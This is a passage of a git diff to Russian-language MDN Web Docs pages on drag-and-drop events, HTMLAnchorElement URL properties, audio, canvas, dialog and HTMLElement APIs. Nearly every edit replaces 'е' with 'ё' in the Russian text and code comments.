на который он может быть перенесён. Если же обработчика нет, либо он не совершает никаких действий перемещение по умолчанию запрещено. Это событие также используется для того, чтобы подсветить либо промаркировать объект над которым происходит перемещения в случае, если перемещение на данный элемент разрешено. Для детальной информации смотрите <a href="/en-US/docs/DragDrop/Drag_Operations#droptargets" title="Specifying Drop Targets">Specifying Drop Targets</a>.</dd> <dt><code>dragover</code></dt> <dd>Данное событие срабатывает каждые несколько сотен миллисекунд, когда перемещаемый элемент оказывается над зоной, принимающей перетаскиваемые элементы. Для детальной информации смотрите <a href="/en-US/docs/DragDrop/Drag_Operations#droptargets" title="Specifying Drop Targets">Specifying Drop Targets</a>.</dd> <dt><code>dragleave</code></dt> @@ -56,7 +56,7 @@ original_slug: Web/Guide/HTML/Drag_and_drop <dt><code>drag</code></dt> <dd>Запускается при перемещении элемента или выделенного текста.</dd> <dt><code>drop</code></dt> - <dd>Событие <code>drop</code> вызывается для элемента, над которым произошло "сбрасывание" перемещаемого элемента. Событие отвечает за извлечение "сброшенных" данных и их вставку. Событие будет срабатывать только при завершении операции перетаскивания, например, событие не сработает, если пользователь отменит перетаскивание нажатием Esc, или не донесет элемент, до цели. Для детальной информации смотрите <a href="https://developer.mozilla.org/en-US/docs/DragDrop/Drag_Operations#drop" title="Performing a Drop">Performing a Drop</a>.</dd> + <dd>Событие <code>drop</code> вызывается для элемента, над которым произошло "сбрасывание" перемещаемого элемента. Событие отвечает за извлечение "сброшенных" данных и их вставку. Событие будет срабатывать только при завершении операции перетаскивания, например, событие не сработает, если пользователь отменит перетаскивание нажатием Esc, или не донесёт элемент, до цели. Для детальной информации смотрите <a href="https://developer.mozilla.org/en-US/docs/DragDrop/Drag_Operations#drop" title="Performing a Drop">Performing a Drop</a>.</dd> <dt><code>dragend</code></dt> <dd>Источник перетаскивания получит событие dragend, когда перетаскивание завершится, было оно удачным или нет. Это событие не вызывается при перетаскивании файла в браузер из ОС. Для детальной информации смотрите <a href="/en-US/docs/DragDrop/Drag_Operations#dragend" title="Finishing a Drag">Finishing a Drag</a>.</dd> </dl> diff --git a/files/ru/web/api/htmlanchorelement/hash/index.html b/files/ru/web/api/htmlanchorelement/hash/index.html index e190f78636..32bc1b5ecc 100644 --- a/files/ru/web/api/htmlanchorelement/hash/index.html +++ b/files/ru/web/api/htmlanchorelement/hash/index.html @@ -24,7 +24,7 @@ original_slug: Web/API/HTMLHyperlinkElementUtils/hash <pre class="brush: js">// Допустим, что документ содержит элемент <a id="myAnchor" href="https://developer.mozilla.org/en-US/docs/HTMLHyperlinkElementUtils.href#youhou"> var anchor = document.getElementByID("myAnchor"); -var result = anchor.hash; // Вернет: '#youhou'</pre> +var result = anchor.hash; // Вернёт: '#youhou'</pre> <h2 id="Спецификации">Спецификации</h2> diff --git a/files/ru/web/api/htmlanchorelement/hostname/index.html b/files/ru/web/api/htmlanchorelement/hostname/index.html index ef35c6709f..97fb6a472b 100644 --- a/files/ru/web/api/htmlanchorelement/hostname/index.html +++ b/files/ru/web/api/htmlanchorelement/hostname/index.html @@ -24,7 +24,7 @@ original_slug: Web/API/HTMLHyperlinkElementUtils/hostname <pre class="brush: js">// Допустим, что документ содержит элемент <a id="myAnchor" href="https://developer.mozilla.org/en-US/docs/HTMLHyperlinkElementUtils.hostname"> var anchor = document.getElementByID("myAnchor"); -var result = anchor.hostname; // Вернет: 'developer.mozilla.org'</pre> +var result = anchor.hostname; // Вернёт: 'developer.mozilla.org'</pre> <h2 id="Спецификации">Спецификации</h2> diff --git a/files/ru/web/api/htmlanchorelement/href/index.html b/files/ru/web/api/htmlanchorelement/href/index.html index 0f03176a62..a295ccfa16 100644 --- a/files/ru/web/api/htmlanchorelement/href/index.html +++ b/files/ru/web/api/htmlanchorelement/href/index.html @@ -26,7 +26,7 @@ original_slug: Web/API/HTMLHyperlinkElementUtils/href <pre class="brush: js">// Допустим, что документ содержит элемент <a id="myAnchor" href="https://developer.mozilla.org/en-US/HTMLHyperlinkElementUtils/href"> var anchor = document.getElementById("myAnchor"); -var result = anchor.href; // Вернет: 'https://developer.mozilla.org/en-US/HTMLHyperlinkElementUtils/href' +var result = anchor.href; // Вернёт: 'https://developer.mozilla.org/en-US/HTMLHyperlinkElementUtils/href' </pre> <h2 id="Спецификации">Спецификации</h2> diff --git a/files/ru/web/api/htmlanchorelement/index.html b/files/ru/web/api/htmlanchorelement/index.html index 11f17a3c80..930449ad39 100644 --- a/files/ru/web/api/htmlanchorelement/index.html +++ b/files/ru/web/api/htmlanchorelement/index.html @@ -20,7 +20,7 @@ translation_of: Web/API/HTMLAnchorElement <dt>{{domxref("HTMLAnchorElement.charset")}} {{obsolete_inline}}</dt> <dd>Это {{domxref("DOMString")}} отображает кодировку символов связанного ресурса.</dd> <dt>{{domxref("HTMLAnchorElement.coords")}} {{obsolete_inline}}</dt> - <dd>Это {{domxref("DOMString")}} отображает список координат разделенный запятыми.</dd> + <dd>Это {{domxref("DOMString")}} отображает список координат разделённый запятыми.</dd> <dt>{{domxref("HTMLAnchorElement.download")}} {{experimental_inline}}</dt> <dd>Это {{domxref("DOMString")}} показывать что связанный ресурс предназначен для загрузки, а не для отображения в браузере. Значение представляет предполагаемое имя файла. Если имя не является допустимым именем файла нижележащей ОС, браузер будет адаптировать его. Значение это URL по схеме <code>http:</code>, <code>file:</code>, <code>data:</code> или даже <code>blob:</code> (созданный с помощью {{domxref("URL.createObjectURL")}}).</dd> <dt>{{domxref("URLUtils.hash")}}</dt> @@ -68,7 +68,7 @@ translation_of: Web/API/HTMLAnchorElement <dt>{{domxref("HTMLAnchorElement.type")}}</dt> <dd>Это {{domxref("DOMString")}} которое отображает {{htmlattrxref("type", "a")}} HTML атрибут, показывающий MIME тип связанного ресурса.</dd> <dt>{{domxref("URLUtils.username")}}</dt> - <dd>Это {{domxref("DOMString")}} содержащий имя пользователя определенное перед именем домена.</dd> + <dd>Это {{domxref("DOMString")}} содержащий имя пользователя определённое перед именем домена.</dd> </dl> <h2 id="Методы">Методы</h2> @@ -79,7 +79,7 @@ translation_of: Web/API/HTMLAnchorElement <dt>{{domxref("HTMLElement.blur()")}}</dt> <dd>Удаляет фокус клавиатуры из текущего элемента.</dd> <dt>{{domxref("HTMLElement.focus()")}}</dt> - <dd>Дает фокус клавиатуры на текущий элемент.</dd> + <dd>Даёт фокус клавиатуры на текущий элемент.</dd> <dt>{{domxref("URLUtils.toString()")}}</dt> <dd>Возвращает {{domxref("DOMString")}} содержащий весь URl. Это синоним {{domxref("URLUtils.href")}}, хотя он не может быть использован для изменения значения.</dd> </dl> diff --git a/files/ru/web/api/htmlanchorelement/origin/index.html b/files/ru/web/api/htmlanchorelement/origin/index.html index 571cc669db..a9ad24f508 100644 --- a/files/ru/web/api/htmlanchorelement/origin/index.html +++ b/files/ru/web/api/htmlanchorelement/origin/index.html @@ -32,7 +32,7 @@ original_slug: Web/API/HTMLHyperlinkElementUtils/origin <h2 id="Примеры">Примеры</h2> <pre class="brush: js">// На этой странице -var result = window.location.origin; // Вернет: 'https://developer.mozilla.org' +var result = window.location.origin; // Вернёт: 'https://developer.mozilla.org' </pre> <h2 id="Спецификации">Спецификации</h2> diff --git a/files/ru/web/api/htmlanchorelement/password/index.html b/files/ru/web/api/htmlanchorelement/password/index.html index c6a5751d25..c38ec9c4a6 100644 --- a/files/ru/web/api/htmlanchorelement/password/index.html +++ b/files/ru/web/api/htmlanchorelement/password/index.html @@ -26,7 +26,7 @@ original_slug: Web/API/HTMLHyperlinkElementUtils/password <pre class="brush: js">// Допустим, что документ содержит элемент <a id="myAnchor" href="https://anonymous:flabada@developer.mozilla.org/en-US/docs/HTMLHyperlinkElementUtils.username"> var anchor = document.getElementByID("myAnchor"); -var result = anchor.password; // Вернет: 'flabada' +var result = anchor.password; // Вернёт: 'flabada' </pre> <h2 id="Спецификации">Спецификации</h2> diff --git a/files/ru/web/api/htmlanchorelement/pathname/index.html b/files/ru/web/api/htmlanchorelement/pathname/index.html index ceda85555f..d971a47d88 100644 --- a/files/ru/web/api/htmlanchorelement/pathname/index.html +++ b/files/ru/web/api/htmlanchorelement/pathname/index.html @@ -24,7 +24,7 @@ original_slug: Web/API/HTMLHyperlinkElementUtils/pathname <pre class="brush: js">// Допустим, что документ содержит элемент <a id="myAnchor" href="https://developer.mozilla.org/en-US/docs/HTMLHyperlinkElementUtils.pathname"> var anchor = document.getElementById("myAnchor"); -var result = anchor.pathname; // Вернет: '/en-US/docs/HTMLHyperlinkElementUtils.pathname' +var result = anchor.pathname; // Вернёт: '/en-US/docs/HTMLHyperlinkElementUtils.pathname' </pre> <h2 id="Спецификации">Спецификации</h2> diff --git a/files/ru/web/api/htmlanchorelement/port/index.html b/files/ru/web/api/htmlanchorelement/port/index.html index 5cb032d0c5..5ea0c1df77 100644 --- a/files/ru/web/api/htmlanchorelement/port/index.html +++ b/files/ru/web/api/htmlanchorelement/port/index.html @@ -26,7 +26,7 @@ original_slug: Web/API/HTMLHyperlinkElementUtils/port <pre class="brush: js">// Допустим, что документ содержит элемент <a id="myAnchor" href="https://developer.mozilla.org/en-US/docs/HTMLHyperlinkElementUtils.port"> var anchor = document.getElementByID("myAnchor"); -var result = anchor.port; // Вернет: '80' +var result = anchor.port; // Вернёт: '80' </pre> <h2 id="Спецификации">Спецификации</h2> diff --git a/files/ru/web/api/htmlanchorelement/protocol/index.html b/files/ru/web/api/htmlanchorelement/protocol/index.html index 7de2513b9f..f4e9cf46bf 100644 --- a/files/ru/web/api/htmlanchorelement/protocol/index.html +++ b/files/ru/web/api/htmlanchorelement/protocol/index.html @@ -24,7 +24,7 @@ original_slug: Web/API/HTMLHyperlinkElementUtils/protocol <pre class="brush: js">// Допустим, что документ содержит элемент <a id="myAnchor" href="https://developer.mozilla.org/en-US/HTMLHyperlinkElementUtils.protocol"> var anchor = document.getElementByID("myAnchor"); -var result = anchor.protocol; // Вернет: 'https:' +var result = anchor.protocol; // Вернёт: 'https:' </pre> <h2 id="Спецификации">Спецификации</h2> diff --git a/files/ru/web/api/htmlanchorelement/search/index.html b/files/ru/web/api/htmlanchorelement/search/index.html index 18b716d835..85940c7ace 100644 --- a/files/ru/web/api/htmlanchorelement/search/index.html +++ b/files/ru/web/api/htmlanchorelement/search/index.html @@ -24,7 +24,7 @@ original_slug: Web/API/HTMLHyperlinkElementUtils/search <pre class="brush: js">// Допустим, что документ содержит элемент <a id="myAnchor" href="https://developer.mozilla.org/en-US/docs/HTMLHyperlinkElementUtils.search?q=123"> var anchor = document.getElementById("myAnchor"); -var result = anchor.search; // Вернет: '?q=123' +var result = anchor.search; // Вернёт: '?q=123' </pre> <h2 id="Спецификации">Спецификации</h2> diff --git a/files/ru/web/api/htmlanchorelement/tostring/index.html b/files/ru/web/api/htmlanchorelement/tostring/index.html index 1b02751e90..3078b219e0 100644 --- a/files/ru/web/api/htmlanchorelement/tostring/index.html +++ b/files/ru/web/api/htmlanchorelement/tostring/index.html @@ -24,7 +24,7 @@ original_slug: Web/API/HTMLHyperlinkElementUtils/toString <pre class="brush: js">// <code class="language-js"><span class="comment token">Допустим, что документ содержит элемент</span></code> <a id="myAnchor" href="https://developer.mozilla.org/en-US/docs/HTMLHyperlinkElementUtils/toString"> var anchor = document.getElementById("myAnchor"); -var result = anchor.toString(); // Вернет: 'https://developer.mozilla.org/en-US/docs/HTMLHyperlinkElementUtils/toString' +var result = anchor.toString(); // Вернёт: 'https://developer.mozilla.org/en-US/docs/HTMLHyperlinkElementUtils/toString' </pre> <h2 id="Спецификации">Спецификации</h2> diff --git a/files/ru/web/api/htmlanchorelement/username/index.html b/files/ru/web/api/htmlanchorelement/username/index.html index c212668e7e..b6ff99a04a 100644 --- a/files/ru/web/api/htmlanchorelement/username/index.html +++ b/files/ru/web/api/htmlanchorelement/username/index.html @@ -24,7 +24,7 @@ original_slug: Web/API/HTMLHyperlinkElementUtils/username <pre class="brush: js">// Допустим, что документ содержит элемент <a id="myAnchor" href="https://anonymous:flabada@developer.mozilla.org/en-US/docs/HTMLHyperlinkElementUtils.username"> var anchor = document.getElementByID("myAnchor"); -var result = anchor.username; // Вернет: 'anonymous' +var result = anchor.username; // Вернёт: 'anonymous' </pre> <h2 id="Спецификации">Спецификации</h2> diff --git a/files/ru/web/api/htmlareaelement/index.html b/files/ru/web/api/htmlareaelement/index.html index c9106d1877..1c018dd96a 100644 --- a/files/ru/web/api/htmlareaelement/index.html +++ b/files/ru/web/api/htmlareaelement/index.html @@ -63,7 +63,7 @@ translation_of: Web/API/HTMLAreaElement <dt>{{domxref("HTMLAreaElement.type")}}</dt> <dd>Это {{domxref("DOMString")}} которое отображает {{ htmlattrxref("type", "area") }} HTML атрибут, показывающий MIME тип связанного с ним ресурса.</dd> <dt>{{domxref("URLUtils.username")}}</dt> - <dd>Это {{domxref("DOMString")}} содержащий имя пользователя. определенное перед доменным именем.</dd> + <dd>Это {{domxref("DOMString")}} содержащий имя пользователя. определённое перед доменным именем.</dd> </dl> <h2 id="Методы">Методы</h2> diff --git a/files/ru/web/api/htmlaudioelement/audio/index.html b/files/ru/web/api/htmlaudioelement/audio/index.html index 172faa4863..df1406bca2 100644 --- a/files/ru/web/api/htmlaudioelement/audio/index.html +++ b/files/ru/web/api/htmlaudioelement/audio/index.html @@ -8,7 +8,7 @@ original_slug: Web/API/HTMLAudioElement/Audio() --- <p>{{APIRef("HTML DOM")}}</p> -<p><span class="seoSummary">Конструктор <code><strong>Audio()</strong></code> создает и возвращает новый {{domxref("HTMLAudioElement")}} объект, который может быть прикреплен к документу, чтобы пользователь мог взаимодействовать и/или слушать его, либо может использоваться вне экрана для управления и воспроизведения звука.</span></p> +<p><span class="seoSummary">Конструктор <code><strong>Audio()</strong></code> создаёт и возвращает новый {{domxref("HTMLAudioElement")}} объект, который может быть прикреплён к документу, чтобы пользователь мог взаимодействовать и/или слушать его, либо может использоваться вне экрана для управления и воспроизведения звука.</span></p> <h2 id="Синтаксис">Синтаксис</h2> @@ -51,7 +51,7 @@ original_slug: Web/API/HTMLAudioElement/Audio() <h3 id="Использование_памяти_и_управление">Использование памяти и управление</h3> -<p>Если все ссылки на аудиоэлемент, созданные с помощью конструктора <code>Audio()</code> удалены, сам элемент не будет удален из памяти механизмом сборщика мусора JavaScript, если в данный момент идет воспроизведение. Вместо этого продолжится воспроизведение и объект останется в памяти до тех пор, пока не закончится аудио или оно не будет приостановлено (например, путем вызова {{domxref("HTMLMediaElement.pause", "pause()")}}). В этот момент объект подлежит уничтожению сборщиком мусора.</p> +<p>Если все ссылки на аудиоэлемент, созданные с помощью конструктора <code>Audio()</code> удалены, сам элемент не будет удалён из памяти механизмом сборщика мусора JavaScript, если в данный момент идёт воспроизведение. Вместо этого продолжится воспроизведение и объект останется в памяти до тех пор, пока не закончится аудио или оно не будет приостановлено (например, путём вызова {{domxref("HTMLMediaElement.pause", "pause()")}}). В этот момент объект подлежит уничтожению сборщиком мусора.</p> <h2 id="Спецификации">Спецификации</h2> diff --git a/files/ru/web/api/htmlaudioelement/index.html b/files/ru/web/api/htmlaudioelement/index.html index e8fb21e4d6..4ecbafa11a 100644 --- a/files/ru/web/api/htmlaudioelement/index.html +++ b/files/ru/web/api/htmlaudioelement/index.html @@ -56,7 +56,7 @@ translation_of: Web/API/HTMLAudioElement <p><code>mozSetup(in PRUint32 channels, in PRUint32 rate)</code> {{non-standard_inline}}</p> </td> <td><code>void</code></td> - <td>Создает аудиострима для записи. Вы можете указать такие параметры, как количество каналов (<code>1</code> for mono or <code>2</code> for stereo), так и частота сэмпла (<code>44100</code> for 44.1kHz, for example).</td> + <td>Создаёт аудиострима для записи. Вы можете указать такие параметры, как количество каналов (<code>1</code> for mono or <code>2</code> for stereo), так и частота сэмпла (<code>44100</code> for 44.1kHz, for example).</td> </tr> <tr> <td><code>mozWriteAudio(in jsval data) </code>{{non-standard_inline}}</td> diff --git a/files/ru/web/api/htmlbasefontelement/index.html b/files/ru/web/api/htmlbasefontelement/index.html index a5a4c2f302..1aacd6f9d7 100644 --- a/files/ru/web/api/htmlbasefontelement/index.html +++ b/files/ru/web/api/htmlbasefontelement/index.html @@ -7,7 +7,7 @@ translation_of: Web/API/HTMLBaseFontElement <p><strong><code>HTMLBaseFontElement</code></strong>интерфейс предоставляющий специальные свойства (помимо тех постоянных объектов {{domxref("HTMLElement")}} интерфейса, доступных ему также по наследству) для манипулирования {{HTMLElement("basefont")}} элементами.</p> -<p><code>элемент <basefont></code> устарел HTML4 и удален в HTML5. Это последняя спецификация которая этот элемент реализует This latest specification requires that this element implements {{domxref("HTMLUnknownElement")}} вместо <code>HTMLBaseFontElement</code>.</p> +<p><code>элемент <basefont></code> устарел HTML4 и удалён в HTML5. Это последняя спецификация которая этот элемент реализует This latest specification requires that this element implements {{domxref("HTMLUnknownElement")}} вместо <code>HTMLBaseFontElement</code>.</p> <h2 id="Свойства">Свойства</h2> @@ -15,7 +15,7 @@ translation_of: Web/API/HTMLBaseFontElement <dl> <dt><code>HTMLBaseFontElement.color</code></dt> - <dd>Это {{domxref("DOMString")}} представляющий цвет текста, используя либо именованный цвет или цвет определенный в шестнадцатеричном формате <code>#RRGGBB</code>.</dd> + <dd>Это {{domxref("DOMString")}} представляющий цвет текста, используя либо именованный цвет или цвет определённый в шестнадцатеричном формате <code>#RRGGBB</code>.</dd> <dt><code>HTMLBaseFontElement.face</code></dt> <dd>Это {{domxref("DOMString")}} представляющий список из одного или более имени шрифтов. Текст документа отображается в стиле по умолчанию, первым поддерживаемым клиентским браузером шрифтом. Если нет установленного шрифта на локальной системе, браузер обычно по умолчанию, устанавливает пропорциональный или фиксированной ширины шрифт для этой системы.</dd> <dt><code>HTMLBaseFontElement.size</code></dt> diff --git a/files/ru/web/api/htmlbodyelement/index.html b/files/ru/web/api/htmlbodyelement/index.html index f053136969..c2bfef5572 100644 --- a/files/ru/web/api/htmlbodyelement/index.html +++ b/files/ru/web/api/htmlbodyelement/index.html @@ -23,7 +23,7 @@ translation_of: Web/API/HTMLBodyElement <dt>{{domxref("HTMLBodyElement.text")}} {{obsolete_inline}}</dt> <dd>Это {{ domxref("DOMString") }} который представляет собой основной цвет текста.</dd> <dt>{{domxref("HTMLBodyElement.vLink")}} {{obsolete_inline}}</dt> - <dd>Это {{ domxref("DOMString") }} который представляет собой цвет посещенных ссылок.</dd> + <dd>Это {{ domxref("DOMString") }} который представляет собой цвет посещённых ссылок.</dd> </dl> <h2 id="Методы">Методы</h2> diff --git a/files/ru/web/api/htmlbuttonelement/index.html b/files/ru/web/api/htmlbuttonelement/index.html index dc488618d0..86816a631b 100644 --- a/files/ru/web/api/htmlbuttonelement/index.html +++ b/files/ru/web/api/htmlbuttonelement/index.html @@ -25,7 +25,7 @@ translation_of: Web/API/HTMLButtonElement <tr> <td><code>accessKey</code></td> <td>{{domxref("DOMString")}}</td> - <td>Определенная кнопка клавиатуры, дающая доступ к кнопке.</td> + <td>Определённая кнопка клавиатуры, дающая доступ к кнопке.</td> </tr> <tr> <td><code>autofocus</code></td> @@ -107,9 +107,9 @@ translation_of: Web/API/HTMLButtonElement <p>Указывает поведение кнопки. Это перечисляемый атрибут со следующими возможными значениями:</p> <ul> - <li><code>"submit"</code>: Кнопка отправки формы. Это значение по умолчанию, если атрибут не определен, {{HTMLVersionInline(5)}} или если он динамически изменяется на пустое или недопустимое значение.</li> + <li><code>"submit"</code>: Кнопка отправки формы. Это значение по умолчанию, если атрибут не определён, {{HTMLVersionInline(5)}} или если он динамически изменяется на пустое или недопустимое значение.</li> <li><code>"reset"</code>: Кнопка сброса формы.</li> - <li><code>"button"</code>: Кнопка с неопределенным действием.</li> + <li><code>"button"</code>: Кнопка с неопределённым действием.</li> <li><code>"menu"</code>: Кнопка показывающая меню (экспериментальная). {{experimental_inline}}</li> </ul> </td> diff --git a/files/ru/web/api/htmlcanvaselement/capturestream/index.html b/files/ru/web/api/htmlcanvaselement/capturestream/index.html index 9240255f86..b58792b2a3 100644 --- a/files/ru/web/api/htmlcanvaselement/capturestream/index.html +++ b/files/ru/web/api/htmlcanvaselement/capturestream/index.html @@ -40,7 +40,7 @@ var stream = canvasElt.captureStream(25); // 25 FPS // Делать что-то с потоком // например, отправить что-то другому компьютеру, используя RTCPeerConnection -// pc это RTCPeerConnection, созданное где-то еще +// pc это RTCPeerConnection, созданное где-то ещё pc.addStream(stream); </pre> diff --git a/files/ru/web/api/htmlcanvaselement/getcontext/index.html b/files/ru/web/api/htmlcanvaselement/getcontext/index.html index 3ac02908b7..ebd62161f6 100644 --- a/files/ru/web/api/htmlcanvaselement/getcontext/index.html +++ b/files/ru/web/api/htmlcanvaselement/getcontext/index.html @@ -19,12 +19,12 @@ translation_of: Web/API/HTMLCanvasElement/getContext <dd>{{domxref("DOMString")}}, содержащий идентификатор контекста, определяющий контекст рисования, связанный с холстом. Возможные значения: <ul> <li><code>"2d</code>", ведущий к созданию объекта {{domxref("CanvasRenderingContext2D")}}, представляющий двумерный контекст.</li> - <li><code>"webgl"</code> (или <code>"experimental-webgl"</code>), который будет создавать объект {{domxref("WebGLRenderingContext")}}, представляющий трехмерный контекст. Этот контекст доступен только в браузерах, которые реализуют {{domxref("WebGL")}} первой версии (OpenGL ES 2.0).</li> - <li>"<code>webgl2</code>" (или "<code>experimental-webgl2</code>"), который будет создавать объект {{domxref("WebGL2RenderingContext")}}, представляющий трехмерный контекст. Этот контекст доступен только в браузерах, которые реализуют {{domxref("WebGL")}} второй версии (OpenGL ES 3.0). {{experimental_inline}}</li> + <li><code>"webgl"</code> (или <code>"experimental-webgl"</code>), который будет создавать объект {{domxref("WebGLRenderingContext")}}, представляющий трёхмерный контекст. Этот контекст доступен только в браузерах, которые реализуют {{domxref("WebGL")}} первой версии (OpenGL ES 2.0).</li> + <li>"<code>webgl2</code>" (или "<code>experimental-webgl2</code>"), который будет создавать объект {{domxref("WebGL2RenderingContext")}}, представляющий трёхмерный контекст. Этот контекст доступен только в браузерах, которые реализуют {{domxref("WebGL")}} второй версии (OpenGL ES 3.0). {{experimental_inline}}</li> <li><code>"bitmaprenderer",</code> который позволит создать {{domxref("ImageBitmapRenderingContext")}}, обеспечивающий только функции для замены содержимого холста с заданным {{domxref("ImageBitmap")}}.</li> </ul> - <p>Примечание: Идентификаторы "<code>experimental-webgl</code>" или "<code>experimental-webgl2</code>" используются в новых реализациях WebGL. Эти реализации не достигли испытательного набора на соответствие или ситуация с графическими драйверами на платформе еще не стабильна The <a href="https://www.khronos.org/">Khronos Group</a> certifies WebGL implementations under certain <a href="https://www.khronos.org/registry/webgl/sdk/tests/CONFORMANCE_RULES.txt">conformance rules</a>.</p> + <p>Примечание: Идентификаторы "<code>experimental-webgl</code>" или "<code>experimental-webgl2</code>" используются в новых реализациях WebGL. Эти реализации не достигли испытательного набора на соответствие или ситуация с графическими драйверами на платформе ещё не стабильна The <a href="https://www.khronos.org/">Khronos Group</a> certifies WebGL implementations under certain <a href="https://www.khronos.org/registry/webgl/sdk/tests/CONFORMANCE_RULES.txt">conformance rules</a>.</p> </dd> <dt><code>contextAttributes</code></dt> <dd> diff --git a/files/ru/web/api/htmlcanvaselement/toblob/index.html b/files/ru/web/api/htmlcanvaselement/toblob/index.html index 3ec0c1e158..2afcf36825 100644 --- a/files/ru/web/api/htmlcanvaselement/toblob/index.html +++ b/files/ru/web/api/htmlcanvaselement/toblob/index.html @@ -46,7 +46,7 @@ canvas.toBlob(function(blob) { url = URL.createObjectURL(blob); newImg.onload = function() { - // больше не нужно читать blob, поэтому он отменен + // больше не нужно читать blob, поэтому он отменён URL.revokeObjectURL(url); }; @@ -62,7 +62,7 @@ canvas.toBlob(function(blob) { <div> <h3 id="A_way_to_convert_a_canvas_to_an_ico_Mozilla_only">A way to convert a canvas to an ico (Mozilla only)</h3> -<p>Это использует <code>-moz-parse</code> для преобразования cnavas в ICO. Windows XP не поддерживает преобразование из PNG в ico, поэтому вместо этого использует bmp. Ссылка для загрузки создается путем установки атрибута загрузки. Значение атрибута загрузки - это имя, которое он будет использовать в качестве имени файла.</p> +<p>Это использует <code>-moz-parse</code> для преобразования cnavas в ICO. Windows XP не поддерживает преобразование из PNG в ico, поэтому вместо этого использует bmp. Ссылка для загрузки создаётся путём установки атрибута загрузки. Значение атрибута загрузки - это имя, которое он будет использовать в качестве имени файла.</p> <pre class="brush: js">var canvas = document.getElementById('canvas'); var d = canvas.width; diff --git a/files/ru/web/api/htmldialogelement/index.html b/files/ru/web/api/htmldialogelement/index.html index fd7432b122..835d070939 100644 --- a/files/ru/web/api/htmldialogelement/index.html +++ b/files/ru/web/api/htmldialogelement/index.html @@ -33,7 +33,7 @@ translation_of: Web/API/HTMLDialogElement <dt>{{domxref("HTMLDialogElement.close()")}}</dt> <dd>Закрывает диалоговое окно. Опциональный {{domxref("DOMString")}} может быть передан как аргумент, обновляющий <code>returnValue</code> диалогового окна.</dd> <dt>{{domxref("HTMLDialogElement.show()")}}</dt> - <dd>Показывает диалоговое окно modelessly, т.е. остается возможность взаимодействовать с контентом вне диалогового окна.</dd> + <dd>Показывает диалоговое окно modelessly, т.е. остаётся возможность взаимодействовать с контентом вне диалогового окна.</dd> <dt>{{domxref("HTMLDialogElement.showModal()")}}</dt> <dd>Показывает диалог как модальное окно поверх любых других диалоговых окон, которые также могут существовать в данный момент. Взаимодействие с контентом вне диалогового окна заблокировано.</dd> </dl> diff --git a/files/ru/web/api/htmlelement/accesskey/index.html b/files/ru/web/api/htmlelement/accesskey/index.html index 12df05982c..a8227e569d 100644 --- a/files/ru/web/api/htmlelement/accesskey/index.html +++ b/files/ru/web/api/htmlelement/accesskey/index.html @@ -14,7 +14,7 @@ original_slug: Web/API/Element/accessKey <p>Свойство <font face="Consolas, Monaco, Andale Mono, monospace"><strong>accessKey</strong></font> позволяет перейти к элементу с помощью сочетания клавиш - заданной им и тех, что назначит браузер.</p> <div class="note"> -<p>По сути, <strong>accessKey </strong>задает значение для <a href="https://developer.mozilla.org/ru/docs/Web/HTML/Global_attributes/accesskey">одноименного атрибута</a>...</p> +<p>По сути, <strong>accessKey </strong>задаёт значение для <a href="https://developer.mozilla.org/ru/docs/Web/HTML/Global_attributes/accesskey">одноимённого атрибута</a>...</p> </div> <div class="warning"> @@ -39,7 +39,7 @@ elem.accessKey = "w"; <h2 id="Немного_информации">Немного информации</h2> -<p>Фокусировка на элемент произойдет при нажатии следующих клавиш (,где<strong> acesskey</strong> - значение свойства<code><strong> acessKey).</strong></code></p> +<p>Фокусировка на элемент произойдёт при нажатии следующих клавиш (,где<strong> acesskey</strong> - значение свойства<code><strong> acessKey).</strong></code></p> <table class="standard-table" style="height: 252px; width: 388px;"> <tbody> diff --git a/files/ru/web/api/htmlelement/hidden/index.html b/files/ru/web/api/htmlelement/hidden/index.html index 6886374bee..b901a819bd 100644 --- a/files/ru/web/api/htmlelement/hidden/index.html +++ b/files/ru/web/api/htmlelement/hidden/index.html @@ -62,7 +62,7 @@ translation_of: Web/API/HTMLElement/hidden <button class="button" id="okButton">OK</button> </div></pre> -<p>Этот HTML создает панель, которая приветствует пользователей на сайте и рассказывает им о том с чем они соглашаются нажимая на кнопку OK.</p> +<p>Этот HTML создаёт панель, которая приветствует пользователей на сайте и рассказывает им о том с чем они соглашаются нажимая на кнопку OK.</p> <h4 id="The_follow-up_panel">The follow-up panel</h4> diff --git a/files/ru/web/api/htmlelement/offsetheight/index.html b/files/ru/web/api/htmlelement/offsetheight/index.html index e8d14948a9..bd26064ef3 100644 --- a/files/ru/web/api/htmlelement/offsetheight/index.html +++ b/files/ru/web/api/htmlelement/offsetheight/index.html @@ -5,7 +5,7 @@ translation_of: Web/API/HTMLElement/offsetHeight --- <div>{{ APIRef("HTML DOM") }}</div> -<p><strong><code>HTMLElement.offsetHeight</code></strong> - высота элемента с учетом вертикальных полей и границ в пикселях. Свойство неизменяемое, только для чтения. Возвращаемое значение - целочисленное.</p> +<p><strong><code>HTMLElement.offsetHeight</code></strong> - высота элемента с учётом вертикальных полей и границ в пикселях. Свойство неизменяемое, только для чтения. Возвращаемое значение - целочисленное.</p> <p>Typically, an element's <code>offsetHeight</code> is a measurement which includes the element borders, the element vertical padding, the element horizontal scrollbar (if present, if rendered) and the element CSS height.</p> diff --git a/files/ru/web/api/htmlelement/transitionend_event/index.html b/files/ru/web/api/htmlelement/transitionend_event/index.html index 697806203f..7a0aab188e 100644 --- a/files/ru/web/api/htmlelement/transitionend_event/index.html +++ b/files/ru/web/api/htmlelement/transitionend_event/index.html @@ -6,7 +6,7 @@ tags: translation_of: Web/API/HTMLElement/transitionend_event original_slug: Web/Events/transitionend --- -<p><span style="line-height: 1.5;">Событие </span><code style="font-style: normal; line-height: 1.5;">transitionend</code><span style="line-height: 1.5;"> срабатывает, когда</span><span style="line-height: 1.5;"> </span><a href="/en-US/docs/CSS/Using_CSS_transitions" style="line-height: 1.5;">CSS transition</a><span style="line-height: 1.5;"> закончил свое выполнение. В случае, когда анимация удаляется до ее завершения(например, если <a href="/en-US/docs/Web/CSS/transition-property">transition-property [en-US]</a> </span><span style="line-height: 1.5;">удаляется), то событие не срабатывает.</span></p> +<p><span style="line-height: 1.5;">Событие </span><code style="font-style: normal; line-height: 1.5;">transitionend</code><span style="line-height: 1.5;"> срабатывает, когда</span><span style="line-height: 1.5;"> </span><a href="/en-US/docs/CSS/Using_CSS_transitions" style="line-height: 1.5;">CSS transition</a><span style="line-height: 1.5;"> закончил своё выполнение. В случае, когда анимация удаляется до её завершения(например, если <a href="/en-US/docs/Web/CSS/transition-property">transition-property [en-US]</a> </span><span style="line-height: 1.5;">удаляется), то событие не срабатывает.</span></p> <h2 id="Общая_информация">Общая информация</h2> @@ -75,11 +75,11 @@ original_slug: Web/Events/transitionend <h2 